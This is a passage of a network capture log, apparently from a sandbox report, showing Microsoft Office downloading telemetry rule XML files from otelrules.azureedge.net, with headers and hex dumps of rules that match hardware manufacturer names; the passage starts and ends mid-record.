2024-11-05 19:51:12 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:12 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: d33e01be-001e-0082-0958-2e5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195112Z-157b9fd754frph49hC1SN1dtxw00000004y00000000077vv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:12 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49753	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:12 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:12 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: a07dceec-d01e-0066-4c3b-2eea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195112Z-157b9fd754fnxhv5hC1SN14xvn00000004ug00000000645t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:12 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49754	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:12 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:12 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:12 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 2398beba-501e-007b-298e-2d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195112Z-157b9fd754fslm5zhC1SN1s0vn000000050g0000000027gg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:12 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49755	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:13 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:13 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8b5c7529-c01e-00ad-2446-2ea2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195113Z-157b9fd754fqtvfchC1SN1b6mc00000004qg000000006hxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:13 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49756	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:13 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:13 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0e31b739-001e-002b-304d-2e99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195113Z-158dbd74bf4jjjdmhC1SN1vmen00000004hg0000000039g3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:13 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49757	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:13 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:13 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6b3fdf92-c01e-008e-384a-2e7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195113Z-157b9fd754fnxhv5hC1SN14xvn0000000500000000000ft0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:13 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49758	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:13 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 4785079e-601e-0070-2a8e-2da0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195113Z-157b9fd754fpgz5vhC1SN1qzrn00000004u0000000006f4w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49759	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:13 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:13 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:13 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 0a8e697d-a01e-0002-295f-2e5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195113Z-158dbd74bf4jmkvwhC1SN1wwbg00000004ag000000003apg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:13 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49760	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:13 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:13 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 891841ce-c01e-0014-6d8e-2da6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195113Z-158dbd74bf4kdtcghC1SN10mk400000004g000000000136f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:14 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49761	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:13 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3e6f6a75-201e-0000-395c-2ea537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195113Z-158dbd74bf49tqzmhC1SN1qum800000004dg000000001mku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49763	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:14 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:14 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: bbcd7168-d01e-002b-5940-2e25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195114Z-157b9fd754fbhrh6hC1SN1yhsw0000000350000000004v9a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:14 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49762	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:14 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:14 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:14 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 34624292-801e-0047-3c58-2e7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195114Z-157b9fd754fgw9r7hC1SN1124c0000000510000000003xv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:14 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" 